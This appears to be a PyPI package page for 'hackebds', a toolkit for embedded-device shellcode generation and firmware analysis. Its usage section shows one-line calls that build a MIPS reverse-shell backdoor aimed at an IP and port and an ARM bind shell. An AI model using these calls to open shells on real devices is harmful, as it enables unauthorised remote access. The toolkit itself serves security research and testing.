Skip to main content

A security research toolkit for embedded device shellcode generation and vulnerability analysis

Project description

hackebds

A security research toolkit for embedded device shellcode generation and vulnerability analysis.

Features

  • Multi-architecture shellcode generation (ARM, MIPS, PowerPC, SPARC, AArch64)
  • Reverse shell and bind shell payloads
  • Firmware analysis tools
  • CVE vulnerability database
  • Integration with pwntools

Installation

pip install hackebds

Usage

import hackebds

# Generate MIPS reverse shell
shellcode = hackebds.mips_backdoor("192.168.1.1", 4444)

# Generate ARM bind shell
shellcode = hackebds.bindshell_arm(4444)

Command Line

hackebds --help

Requirements

  • Python >= 3.8
  • pwntools
  • colorama

License

MIT License

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

hackebds-0.4.0.tar.gz (219.4 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

hackebds-0.4.0-py3-none-any.whl (227.3 kB view details)

Uploaded Python 3

File details

Details for the file hackebds-0.4.0.tar.gz.

File metadata

  • Download URL: hackebds-0.4.0.tar.gz
  • Upload date:
  • Size: 219.4 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.8.10

File hashes

Hashes for hackebds-0.4.0.tar.gz
Algorithm Hash digest
SHA256 e8b9d97b7e5c05ff99d38da016ee49362a55b4d4288f815b716fef8d6f86eea3
MD5 b244705a99eac402cd407b77c5f9114c
BLAKE2b-256 f24f493030d0351f3eaedb44c49df8ce6805ff4fa3f8e1a7a254d3d85c572c68

See more details on using hashes here.

File details

Details for the file hackebds-0.4.0-py3-none-any.whl.

File metadata

  • Download URL: hackebds-0.4.0-py3-none-any.whl
  • Upload date:
  • Size: 227.3 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.8.10

File hashes

Hashes for hackebds-0.4.0-py3-none-any.whl
Algorithm Hash digest
SHA256 cff4907cf0fcd87a912c24b9d742576b14cb34ed39beae4ad8b73f70c492ba6e
MD5 7090c908c86963a6ffe3c270c25848b8
BLAKE2b-256 67ac7ff9fb66d6dee1f9b9d948f45908a81f13aa4182e45aa2f9e64829459426

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page